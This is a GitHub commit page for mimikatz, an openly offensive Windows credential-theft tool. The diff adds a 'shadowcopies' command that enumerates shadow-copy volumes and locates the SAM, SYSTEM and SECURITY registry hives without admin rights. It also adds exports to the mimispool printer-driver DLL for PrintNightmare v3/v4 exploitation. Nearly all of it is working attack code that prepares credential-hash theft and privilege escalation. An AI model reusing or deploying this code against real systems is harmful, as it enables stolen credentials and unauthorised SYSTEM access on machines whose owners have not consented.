Skip to content

Commit ba3c2c6

Browse files
committed
[new] mimikatz misc::shadowcopies (to display some properties without admin rights)
[new] mimikatz mimispool module includes some functions for printnigtmare v3/v4 (must be recompiled after adjust) [internal] new ntdll.min.lib to call NtOpenDirectoryObject/NtQueryDirectoryObject
1 parent c8920c7 commit ba3c2c6

File tree

10 files changed

+193
-8
lines changed

10 files changed

+193
-8
lines changed

lib/Win32/ntdll.min.lib

502 Bytes
Binary file not shown.

lib/x64/ntdll.min.lib

462 Bytes
Binary file not shown.

mimikatz/modules/kuhl_m_misc.c

Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -30,6 +30,7 @@ const KUHL_M_C kuhl_m_c_misc[] = {
3030
{kuhl_m_misc_spooler, L"spooler", NULL},
3131
{kuhl_m_misc_printnightmare, L"printnightmare", NULL},
3232
{kuhl_m_misc_sccm_accounts, L"sccm", NULL},
33+
{kuhl_m_misc_shadowcopies, L"shadowcopies", NULL},
3334
};
3435
const KUHL_M kuhl_m_misc = {
3536
L"misc", L"Miscellaneous module", NULL,
@@ -1883,3 +1884,85 @@ NTSTATUS kuhl_m_misc_sccm_accounts(int argc, wchar_t * argv[])
18831884

18841885
return STATUS_SUCCESS;
18851886
}
1887+
1888+
DECLARE_CONST_UNICODE_STRING(usRootDevice, L"\\Device");
1889+
DECLARE_CONST_UNICODE_STRING(usDevice, L"Device");
1890+
const OBJECT_ATTRIBUTES oaDevice = RTL_CONSTANT_OBJECT_ATTRIBUTES(&usRootDevice, 0);
1891+
const wchar_t *INT_FILES[] = {L"SYSTEM", L"SAM", L"SECURITY", L"SOFTWARE"};
1892+
NTSTATUS kuhl_m_misc_shadowcopies(int argc, wchar_t * argv[])
1893+
{
1894+
NTSTATUS status;
1895+
HANDLE hDeviceDirectory;
1896+
BYTE Buffer[0x100];
1897+
ULONG Start, Context, ReturnLength, i, j;
1898+
BOOLEAN RestartScan;
1899+
POBJECT_DIRECTORY_INFORMATION pDirectoryInformation;
1900+
PWSTR szName, szShadowName, szFullPath;
1901+
WIN32_FILE_ATTRIBUTE_DATA Attribute;
1902+
1903+
status = NtOpenDirectoryObject(&hDeviceDirectory, DIRECTORY_QUERY | DIRECTORY_TRAVERSE, (POBJECT_ATTRIBUTES) &oaDevice);
1904+
if(NT_SUCCESS(status))
1905+
{
1906+
for(Start = 0, Context = 0, RestartScan = TRUE, status = STATUS_MORE_ENTRIES; status == STATUS_MORE_ENTRIES; )
1907+
{
1908+
status = NtQueryDirectoryObject(hDeviceDirectory, Buffer, sizeof(Buffer), FALSE, RestartScan, &Context, &ReturnLength);
1909+
if(NT_SUCCESS(status))
1910+
{
1911+
pDirectoryInformation = (POBJECT_DIRECTORY_INFORMATION) Buffer;
1912+
for(i = 0; i < (Context - Start); i++)
1913+
{
1914+
if(RtlEqualUnicodeString(&usDevice, &pDirectoryInformation[i].TypeName, TRUE))
1915+
{
1916+
szName = kull_m_string_unicode_to_string(&pDirectoryInformation[i].Name);
1917+
if(szName)
1918+
{
1919+
if(szName == wcsstr(szName, L"HarddiskVolumeShadowCopy"))
1920+
{
1921+
if(kull_m_string_sprintf(&szShadowName, L"\\\\?\\GLOBALROOT\\Device\\%s\\", szName))
1922+
{
1923+
kprintf(L"\nShadowCopy Volume : %s\n", szName);
1924+
kprintf(L"| Path : %s\n", szShadowName);
1925+
1926+
if(GetFileAttributesEx(szShadowName, GetFileExInfoStandard, &Attribute))
1927+
{
1928+
kprintf(L"| Volume LastWrite: ");
1929+
kull_m_string_displayLocalFileTime(&Attribute.ftLastWriteTime);
1930+
kprintf(L"\n");
1931+
}
1932+
else PRINT_ERROR_AUTO(L"GetFileAttributesEx");
1933+
kprintf(L"\n");
1934+
for(j = 0; j < ARRAYSIZE(INT_FILES); j++)
1935+
{
1936+
if(kull_m_string_sprintf(&szFullPath, L"%sWindows\\System32\\config\\%s", szShadowName, INT_FILES[j]))
1937+
{
1938+
kprintf(L"* %s\n", szFullPath);
1939+
1940+
if(GetFileAttributesEx(szFullPath, GetFileExInfoStandard, &Attribute))
1941+
{
1942+
kprintf(L" | LastWrite : ");
1943+
kull_m_string_displayLocalFileTime(&Attribute.ftLastWriteTime);
1944+
kprintf(L"\n");
1945+
}
1946+
else PRINT_ERROR_AUTO(L"GetFileAttributesEx");
1947+
1948+
LocalFree(szFullPath);
1949+
}
1950+
}
1951+
LocalFree(szShadowName);
1952+
}
1953+
}
1954+
LocalFree(szName);
1955+
}
1956+
}
1957+
}
1958+
Start = Context;
1959+
RestartScan = FALSE;
1960+
}
1961+
else PRINT_ERROR(L"NtQueryDirectoryObject: 0x%08x\n", status);
1962+
}
1963+
CloseHandle(hDeviceDirectory);
1964+
}
1965+
else PRINT_ERROR(L"NtOpenDirectoryObject: 0x%08x\n", status);
1966+
1967+
return STATUS_SUCCESS;
1968+
}

mimikatz/modules/kuhl_m_misc.h

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -47,6 +47,7 @@ NTSTATUS kuhl_m_misc_aadcookie_NgcSignWithSymmetricPopKey(int argc, wchar_t * ar
4747
NTSTATUS kuhl_m_misc_spooler(int argc, wchar_t * argv[]);
4848
NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[]);
4949
NTSTATUS kuhl_m_misc_sccm_accounts(int argc, wchar_t * argv[]);
50+
NTSTATUS kuhl_m_misc_shadowcopies(int argc, wchar_t * argv[]);
5051

5152
BOOL kuhl_m_misc_printnightmare_normalize_library(LPCWSTR szLibrary, LPWSTR *pszNormalizedLibrary, LPWSTR *pszShortLibrary);
5253
BOOL kuhl_m_misc_printnightmare_FillStructure(PDRIVER_INFO_2 pInfo2, BOOL bIsX64, BOOL bIsDynamic, LPCWSTR szForce, BOOL bIsPar, handle_t hRemoteBinding);

mimispool/mimispool.c

Lines changed: 14 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@ BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserv
1414
case DLL_PROCESS_ATTACH:
1515
kspool(TEXT(__FUNCTION__) L"-PROCESS_ATTACH");
1616
ret = FALSE;
17-
// FALSE avoid to keep library in memory
17+
// FALSE avoid to keep library in memory (PrintNightmare < 3/4)
1818
// TRUE will mimic "real" driver/config -- to use/test with /useown on local (remote is not compatible with GetFileVersionInfo*)
1919
break;
2020

@@ -100,11 +100,7 @@ void kspool(LPCWSTR szFrom)
100100
if(kspool_logfile = _wfopen(L"mimispool.log", L"a"))
101101
#pragma warning(pop)
102102
{
103-
if(GetUserName(Buffer, &cbBuffer))
104-
{
105-
klog(kspool_logfile, L"[" PLATFORM L"] [%s] I\'m running with \'%s\' (and I like it :)\n", szFrom, Buffer);
106-
}
107-
103+
klog(kspool_logfile, L"[" PLATFORM L"] [%s] as \'%s\'\n", szFrom, GetUserName(Buffer, &cbBuffer) ? Buffer : L"-");
108104
fclose(kspool_logfile);
109105
}
110106
}
@@ -119,4 +115,16 @@ void klog(FILE * logfile, PCWCHAR format, ...)
119115
va_end(args);
120116
fflush(logfile);
121117
}
118+
}
119+
120+
DWORD WINAPI GenerateCopyFilePaths(LPCWSTR pszPrinterName, LPCWSTR pszDirectory, LPBYTE pSplClientInfo, DWORD dwLevel, LPWSTR pszSourceDir, LPDWORD pcchSourceDirSize, LPWSTR pszTargetDir, LPDWORD pcchTargetDirSize, DWORD dwFlags)
121+
{
122+
kspool(TEXT(__FUNCTION__));
123+
return ERROR_SUCCESS;
124+
}
125+
126+
BOOL WINAPI SpoolerCopyFileEvent(LPWSTR pszPrinterName, LPWSTR pszKey, DWORD dwCopyFileEvent)
127+
{
128+
kspool(TEXT(__FUNCTION__));
129+
return TRUE;
122130
}

mimispool/mimispool.def

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,4 +4,7 @@ EXPORTS
44
DrvEnableDriver
55
DrvDisableDriver
66

7-
DrvResetConfigCache
7+
DrvResetConfigCache
8+
9+
GenerateCopyFilePaths
10+
SpoolerCopyFileEvent

mimispool/mimispool.h

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -33,4 +33,7 @@ __control_entrypoint(DeviceDriver) BOOL APIENTRY DrvEnableDriver(ULONG iEngineVe
3333
VOID APIENTRY DrvDisableDriver();
3434

3535
void kspool(LPCWSTR szFrom);
36-
void klog(FILE * logfile, PCWCHAR format, ...);
36+
void klog(FILE * logfile, PCWCHAR format, ...);
37+
38+
DWORD WINAPI GenerateCopyFilePaths(LPCWSTR pszPrinterName, LPCWSTR pszDirectory, LPBYTE pSplClientInfo, DWORD dwLevel, LPWSTR pszSourceDir, LPDWORD pcchSourceDirSize, LPWSTR pszTargetDir, LPDWORD pcchTargetDirSize, DWORD dwFlags);
39+
BOOL WINAPI SpoolerCopyFileEvent(LPWSTR pszPrinterName, LPWSTR pszKey, DWORD dwCopyFileEvent);

modules/kull_m_process.h

Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -373,13 +373,83 @@ typedef struct _SYSTEM_ISOLATED_USER_MODE_INFORMATION {
373373
//ULONGLONG Spare1;
374374
} SYSTEM_ISOLATED_USER_MODE_INFORMATION, *PSYSTEM_ISOLATED_USER_MODE_INFORMATION;
375375

376+
#define OBJ_INHERIT 0x00000002L
377+
#define OBJ_PERMANENT 0x00000010L
378+
#define OBJ_EXCLUSIVE 0x00000020L
379+
#define OBJ_CASE_INSENSITIVE 0x00000040L
380+
#define OBJ_OPENIF 0x00000080L
381+
#define OBJ_OPENLINK 0x00000100L
382+
#define OBJ_KERNEL_HANDLE 0x00000200L
383+
#define OBJ_FORCE_ACCESS_CHECK 0x00000400L
384+
#define OBJ_VALID_ATTRIBUTES 0x000007F2L
385+
386+
typedef struct _OBJECT_ATTRIBUTES64 {
387+
ULONG Length;
388+
ULONG64 RootDirectory;
389+
ULONG64 ObjectName;
390+
ULONG Attributes;
391+
ULONG64 SecurityDescriptor;
392+
ULONG64 SecurityQualityOfService;
393+
} OBJECT_ATTRIBUTES64;
394+
typedef OBJECT_ATTRIBUTES64 *POBJECT_ATTRIBUTES64;
395+
typedef CONST OBJECT_ATTRIBUTES64 *PCOBJECT_ATTRIBUTES64;
396+
397+
typedef struct _OBJECT_ATTRIBUTES32 {
398+
ULONG Length;
399+
ULONG RootDirectory;
400+
ULONG ObjectName;
401+
ULONG Attributes;
402+
ULONG SecurityDescriptor;
403+
ULONG SecurityQualityOfService;
404+
} OBJECT_ATTRIBUTES32;
405+
typedef OBJECT_ATTRIBUTES32 *POBJECT_ATTRIBUTES32;
406+
typedef CONST OBJECT_ATTRIBUTES32 *PCOBJECT_ATTRIBUTES32;
407+
408+
typedef struct _OBJECT_ATTRIBUTES {
409+
ULONG Length;
410+
HANDLE RootDirectory;
411+
PUNICODE_STRING ObjectName;
412+
ULONG Attributes;
413+
PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
414+
PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE
415+
} OBJECT_ATTRIBUTES;
416+
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
417+
typedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES;
418+
419+
#define InitializeObjectAttributes( p, n, a, r, s ) { \
420+
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
421+
(p)->RootDirectory = r; \
422+
(p)->Attributes = a; \
423+
(p)->ObjectName = n; \
424+
(p)->SecurityDescriptor = s; \
425+
(p)->SecurityQualityOfService = NULL; \
426+
}
427+
428+
#define RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) \
429+
{ sizeof(OBJECT_ATTRIBUTES), NULL, RTL_CONST_CAST(PUNICODE_STRING)(n), a, NULL, NULL }
430+
431+
#define RTL_INIT_OBJECT_ATTRIBUTES(n, a) RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a)
432+
433+
#define DIRECTORY_QUERY 0x0001
434+
#define DIRECTORY_TRAVERSE 0x0002
435+
#define DIRECTORY_CREATE_OBJECT 0x0004
436+
#define DIRECTORY_CREATE_SUBDIRECTORY 0x0008
437+
#define DIRECTORY_ALL_ACCESS STANDARD_RIGHTS_REQUIRED | 0xF
438+
439+
typedef struct _OBJECT_DIRECTORY_INFORMATION {
440+
UNICODE_STRING Name;
441+
UNICODE_STRING TypeName;
442+
} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION;
443+
376444
extern NTSTATUS WINAPI NtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT OPTIONAL PULONG ReturnLength);
377445
extern NTSTATUS WINAPI NtQuerySystemInformationEx(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID InputBuffer, ULONG InputBufferLength, PVOID SystemInformation, ULONG SystemInformationLength, ULONG *ReturnLength);
378446
extern NTSTATUS WINAPI NtSetSystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength);
379447
extern NTSTATUS WINAPI NtQueryInformationProcess(IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, OUT ULONG ProcessInformationLength, OUT OPTIONAL PULONG ReturnLength);
380448
extern NTSTATUS WINAPI NtSuspendProcess(IN HANDLE ProcessHandle);
381449
extern NTSTATUS WINAPI NtResumeProcess(IN HANDLE ProcessHandle);
382450
extern NTSTATUS WINAPI NtTerminateProcess(IN OPTIONAL HANDLE ProcessHandle, IN NTSTATUS ExitStatus);
451+
extern NTSTATUS WINAPI NtOpenDirectoryObject(OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes);
452+
extern NTSTATUS WINAPI NtQueryDirectoryObject(IN HANDLE DirectoryHandle, OUT OPTIONAL PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, IN BOOLEAN RestartScan, IN OUT PULONG Context, OUT OPTIONAL PULONG ReturnLength);
383453

384454
typedef NTSTATUS (WINAPI * PNTQUERYSYSTEMINFORMATIONEX) (SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID InputBuffer, ULONG InputBufferLength, PVOID SystemInformation, ULONG SystemInformationLength, ULONG *ReturnLength);
385455

modules/kull_m_string.c

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -358,6 +358,22 @@ BOOL kull_m_string_copyA(LPSTR *dst, LPCSTR src)
358358
return status;
359359
}
360360

361+
PWSTR kull_m_string_unicode_to_string(PCUNICODE_STRING src)
362+
{
363+
PWSTR ret = NULL;
364+
365+
if(src->Length && src->Buffer)
366+
{
367+
ret = (PWSTR) LocalAlloc(LPTR, src->Length + sizeof(wchar_t));
368+
if(ret)
369+
{
370+
RtlCopyMemory(ret, src->Buffer, src->Length);
371+
}
372+
}
373+
374+
return ret;
375+
}
376+
361377
BOOL kull_m_string_quickxml_simplefind(LPCWSTR xml, LPCWSTR node, LPWSTR *dst)
362378
{
363379
BOOL status = FALSE;

modules/kull_m_string.h

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -95,6 +95,7 @@ BOOL kull_m_string_copy_len(LPWSTR *dst, LPCWSTR src, size_t size);
9595
BOOL kull_m_string_copy(LPWSTR *dst, LPCWSTR src);
9696
BOOL kull_m_string_copyA_len(LPSTR *dst, LPCSTR src, size_t size);
9797
BOOL kull_m_string_copyA(LPSTR *dst, LPCSTR src);
98+
PWSTR kull_m_string_unicode_to_string(PCUNICODE_STRING src);
9899
BOOL kull_m_string_quickxml_simplefind(LPCWSTR xml, LPCWSTR node, LPWSTR *dst);
99100
#if !defined(MIMIKATZ_W2000_SUPPORT)
100101
BOOL kull_m_string_quick_base64_to_Binary(PCWSTR base64, PBYTE *data, DWORD *szData);

0 commit comments

Comments
 (0)